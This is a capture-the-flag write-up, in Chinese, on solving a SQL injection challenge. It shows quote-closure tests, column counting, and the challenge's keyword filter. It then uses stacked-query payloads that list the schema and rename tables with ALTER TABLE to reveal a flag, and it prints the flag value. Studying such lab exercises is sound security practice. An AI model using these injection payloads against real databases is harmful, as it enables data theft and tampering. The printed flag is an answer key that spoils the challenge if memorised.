題目介紹
題目描述“隨便注”
先看一下是否存在注入
判斷閉合方式
輸入1’ and 1=1-- -正常回顯
輸入1'and 1=2-- -無回顯,確認是單引號閉合
看一下列數
輸入1' order by 2-- - 有回顯
輸入1' order by 3-- -?報錯,由此判斷兩列
使用union聯合注入發現select被過濾了,無法使用聯合注入
過濾的內容?
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
嘗試一下堆疊注入
?堆疊注入的原理
mysql數據庫sql語句的默認結束符是以;
結尾,在執行多條SQL語句時就要使用結束符隔開,那么在;
結束一條sql語句后繼續構造下一條語句,會一起執行。這就是堆疊注入的基本原理
查看數據庫
1';show databases;- --
查看表?
1';show tables;-- -
查看兩個表的字段(查看表名的時候表名要用反引號包裹)
1919810931114514表
1'; show columns from `1919810931114514`-- -
發現"flag”、"NO"?
words表
1'; show columns from `words`-- -
?
現在雖然已經到了flag字段,但是select被過濾了,我們看不了flag字段,那么我們該怎么查看字段內容呢?
解決方法:改表名?
查看過濾的內容發現rename、alert這倆關鍵字沒有被過濾,根據在words表里發現id字段與查詢框里的出的數據類型相同,一個是數字,另一個是字符串,所以默認查詢的就是words表,我們可以將含有flag字段的表命名為word,然后修改字段名字
第一步:words名改為word1?
? ?alter table words rename to word1;
第二步?:把“1919810931114514”數字表名改為 words
???alter table `1919810931114514` rename to words;
第三步:把現在的words表中的flag字段名改為id
?????alter table words change flag id varchar(100);
合在一起構造pyload(也可以分開執行語句)
1'; alter table words rename to word1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);-- -
?查看flag
1' or true-- -
?
flag{c168d583ed0d4d7196967b28cbd0b5e9}